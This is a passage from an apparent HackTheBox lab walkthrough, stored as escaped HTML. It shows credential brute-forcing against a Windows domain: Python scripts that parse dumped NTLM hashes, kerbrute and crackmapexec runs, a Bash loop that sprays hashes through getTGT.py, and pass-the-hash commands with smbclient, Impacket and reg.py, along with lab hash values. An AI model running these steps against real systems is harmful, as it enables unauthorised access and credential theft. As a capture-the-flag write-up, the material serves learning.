open(&amp;#39;htlm.txt&amp;#39;,&amp;#39;r&amp;#39;,encoding=&amp;#39;utf-8&amp;#39;).readlines()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for i in temp_htlm:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; temp = i.replace(&amp;#39;\n&amp;#39;,&amp;#39;&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if &amp;#39;endstop&amp;#39; in temp:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; temp = temp.split(&amp;#39;:&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; try:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(temp[0])&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(temp[3])&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; open(&amp;#39;userandpass.txt&amp;#39;,&amp;#39;a&amp;#39;,encoding=&amp;#39;utf-8&amp;#39;).write(temp[0]+&amp;#39;:&amp;#39;+temp[2]+&amp;#34;:&amp;#34;+temp[3]+&amp;#39;\n&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; open(&amp;#39;users.txt&amp;#39;, &amp;#39;a&amp;#39;, encoding=&amp;#39;utf-8&amp;#39;).write(temp[0] + &amp;#39;\n&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; open(&amp;#39;hashes.txt&amp;#39;, &amp;#39;a&amp;#39;, encoding=&amp;#39;utf-8&amp;#39;).write(temp[2] + &amp;#34;:&amp;#34; + temp[3] + &amp;#39;\n&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; except:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0576.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I added a terminator. I didn&amp;rsquo;t need the other approach for now. This gave me user.txt and hashes.txt for brute-forcing. Trying every user against every hash would obviously be very slow, though. First I went after port 88 and used kerbrute to identify valid usernames. Then I could brute-force those usernames against hashes.txt, which made much more sense.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerbrute userenum --dc htb.local -d htb.local users.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It had just spent ages brute-forcing without any response at all. Restarting the machine fixed it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0577.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;None of them worked.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0578.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were only three accounts, but finding them took a very long time—nearly twenty minutes of brute-forcing. All the default passwords were wrong. I planned to start with the bottom account.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0579.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It stopped working again during the brute-force. This was already the third time. It recovered after a while, then stopped again. There was clearly an anti-brute-force mechanism here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0580.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;If 445 wasn&amp;rsquo;t an option, I&amp;rsquo;d simply switch protocols. Port 88 wasn&amp;rsquo;t restricted, after all, and 5985 WinRM might not be restricted either, so it was worth testing. (The downside of WinRM is that the username and password might be correct, but if the account isn&amp;rsquo;t allowed to log in, there is no way to tell.)&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kerbrute bruteforce --dc htb.local -d htb.local new_userandpass.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec winrm htb.local -u 1.txt -H hashes.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import re&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;temp_htlm = open(&amp;#39;htlm.txt&amp;#39;,&amp;#39;r&amp;#39;,encoding=&amp;#39;utf-8&amp;#39;).readlines()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for i in temp_htlm:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; temp = i.replace(&amp;#39;\n&amp;#39;,&amp;#39;&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if &amp;#39;endstop&amp;#39; in temp:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; temp = temp.split(&amp;#39;:&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; try:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(temp[0])&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(temp[3])&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; open(&amp;#39;new_userandpass.txt&amp;#39;, &amp;#39;a&amp;#39;, encoding=&amp;#39;utf-8&amp;#39;).write(&amp;#34;henry.vinson&amp;#34; + &amp;#34;:&amp;#34; + temp[3] + &amp;#39;\n&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; open(&amp;#39;new_userandpass.txt&amp;#39;, &amp;#39;a&amp;#39;, encoding=&amp;#39;utf-8&amp;#39;).write(&amp;#34;APT$&amp;#34; + &amp;#34;:&amp;#34; + temp[3] + &amp;#39;\n&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; open(&amp;#39;new_userandpass.txt&amp;#39;, &amp;#39;a&amp;#39;, encoding=&amp;#39;utf-8&amp;#39;).write(&amp;#34;Administrator&amp;#34; + &amp;#34;:&amp;#34; + temp[3] + &amp;#39;\n&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; except:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Kerbrute required username-and-hash pairs generated this way. I ran both brute-force attempts in parallel and waited.&lt;/p&gt;&#10;&lt;p&gt;I waited a long time and got no results. The problem with kerbrute may have been that I supplied a hash dictionary. I couldn&amp;rsquo;t find any online tutorials covering username/password brute-forcing, so I had written the arguments based on &lt;code&gt;-h&lt;/code&gt;. CrackMapExec most likely failed because the accounts weren&amp;rsquo;t allowed to log in through WinRM.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87Kerberos-pre-auth%E8%BF%9B%E8%A1%8C%E7%94%A8%E6%88%B7%E6%9E%9A%E4%B8%BE%E5%92%8C%E5%8F%A3%E4%BB%A4%E7%88%86%E7%A0%B4" target="_blank" rel="noopener"&#10; &gt;https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87Kerberos-pre-auth%E8%BF%9B%E8%A1%8C%E7%94%A8%E6%88%B7%E6%9E%9A%E4%B8%BE%E5%92%8C%E5%8F%A3%E4%BB%A4%E7%88%86%E7%A0%B4&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;While searching, I found a tool in this blog that could brute-force hashes.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/3gstudent/pyKerbrute/" target="_blank" rel="noopener"&#10; &gt;https://github.com/3gstudent/pyKerbrute/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It kept throwing errors when I tried to run it, so I checked the failing line in the source.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0581.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Two tabs were missing, so the code wasn&amp;rsquo;t aligned inside the if statement. There was also an else below it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0582.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was bizarre. It looked fine in VS Code, but turned into this once I moved it over. Even if I manually fixed it, saving would change it back. I eventually got it sorted out. I think something was wrong with the tabs at the start, so I deleted them all and indented everything again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0583.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then another error appeared. I had no idea whether it would even work after I fixed it, but at that point it was still the only path forward. I searched for the error and found people saying it was caused by a version mismatch, but&amp;hellip;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0584.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The project shipped with its own copy. I only needed to import that bundled package, so I continued modifying the code.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0585.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I fixed the import, and it worked fine on Windows, but immediately failed on Kali.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0586.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://stackoverflow.com/questions/52477683/importerror-bad-magic-number-in-time-b-x03-xf3-r-n-in-django" target="_blank" rel="noopener"&#10; &gt;https://stackoverflow.com/questions/52477683/importerror-bad-magic-number-in-time-b-x03-xf3-r-n-in-django&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Following the advice there, I needed to delete every pyc file in that folder. Once they were gone, the script ran.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0587.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This error appeared because I passed a file path, which wasn&amp;rsquo;t what the script expected.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0588.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After fixing that, another error appeared.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0589.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It threw the same error even under normal conditions, so this had nothing to do with my changes.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.cnblogs.com/zhaijiahui/p/9597935.html" target="_blank" rel="noopener"&#10; &gt;https://www.cnblogs.com/zhaijiahui/p/9597935.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This blog described a solution. Here it is:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user_key = (RC4_HMAC, bytes.fromhex(temp))&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Another error:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0590.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0591.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I kept changing it and even migrated it from Python 2 to Python 3. I&amp;rsquo;m certain this code was fundamentally broken—there was no end to the fixes. This route might not work at all, so I decided to read a writeup.&lt;/p&gt;&#10;&lt;p&gt;One writeup used this exact tool. The author ran it with Python 2, and apparently it didn&amp;rsquo;t throw any errors. I couldn&amp;rsquo;t see enough details, such as the exact version, so I searched for other posts. Everything I found introduced ADPwdSpray.py and also used Python 2, but I simply couldn&amp;rsquo;t get it working.&lt;/p&gt;&#10;&lt;p&gt;Another writeup used getTGT. The idea was that getTGT accepts a hash and communicates over Kerberos. If it returned the right response, the hash was valid. I have to say, that was a great idea. In principle, it was no different from ADPwdSpray.py above, but I couldn&amp;rsquo;t use ADPwdSpray.py. So I wrote a Bash shell script instead.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#!/bin/bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for temp in $(cat hashes.txt)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;do&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;result=$(getTGT.py htb.local/henry.vinson -hashes $temp)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;if [[ $result != *&amp;#34;Pre-authentication information was invalid&amp;#34;* ]]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;echo $temp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;echo $result&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;done&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0592.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got a result. Earlier I had accidentally matched an error; excluding error output fixed that. The clock-skew message here also meant the hash was correct.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0593.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;My usual method for synchronizing the clock didn&amp;rsquo;t work here. It couldn&amp;rsquo;t find the server, whether I used IPv4 or IPv6.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://gitlab.com/NTPsec/ntpsec/-/issues/292" target="_blank" rel="noopener"&#10; &gt;https://gitlab.com/NTPsec/ntpsec/-/issues/292&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://askubuntu.com/questions/429306/ntpdate-no-server-suitable-for-synchronization-found" target="_blank" rel="noopener"&#10; &gt;https://askubuntu.com/questions/429306/ntpdate-no-server-suitable-for-synchronization-found&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;These two posts explained my situation very clearly. If the target server has both v4 and v6, ntpdate won&amp;rsquo;t work unless you explicitly specify &lt;code&gt;-6&lt;/code&gt; or &lt;code&gt;-4&lt;/code&gt;. The target also needs to have the NTP service listening on port 123.&lt;/p&gt;&#10;&lt;p&gt;I had no other ideas, so I asked Claude for help. While I&amp;rsquo;m still learning, I at least want to collect several different methods.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcclient -U &amp;#34;&amp;#34; -N htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcdump&amp;gt; gettime&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Or&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net time -S htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;date -s &amp;#34;Sat Dec 7 05:14:11 2024&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That was the suggested procedure. I only needed to combine the commands.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;date -s &amp;#34;$(net time -S htb.local)&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0594.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It finally worked. It&amp;rsquo;s best to combine the two commands, or it stops working again after a little while.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0595.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, WinRM didn&amp;rsquo;t work. I had wasted all that time. SMB did work, though.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbclient -L //htb.local/ -U &amp;#39;henry.vinson%e53d87d42adaa3ca32bdb34a876cbffb&amp;#39; --pw-nt-hash&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0596.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Nothing was different, and there didn&amp;rsquo;t seem to be anything to exploit. Once you have a user&amp;rsquo;s credentials, the obvious options for further reconnaissance are SMB and LDAP. Here, SMB revealed nothing new, and LDAP apparently didn&amp;rsquo;t support pass-the-hash.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetUserSPNs.py htb.local/henry.vinson -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb -dc-ip htb.local -request&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetADUsers.py -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb htb.local/henry.vinson -dc-ip htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;At this point I checked the writeups again. They all said I needed to &lt;strong&gt;access the registry remotely&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;p&gt;Here is a tutorial for reg.py:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://wadcoms.github.io/wadcoms/Impacket-Reg/" target="_blank" rel="noopener"&#10; &gt;https://wadcoms.github.io/wadcoms/Impacket-Reg/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;P.S. While testing it, I noticed that it performs the queries over SMB.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0597.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg.py htb.local/henry.vinson@htb.local -hashes aad3b435b51404eeaad3b435b51404ee:e53d87d42adaa3ca32bdb34a876cbffb -dc-ip htb.local query -keyName HKLM\\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0598.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No permission? I started researching which registry hives existed and how remote registry access worked.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/youyudexiaowangzi/article/details/123707258" target="_blank" 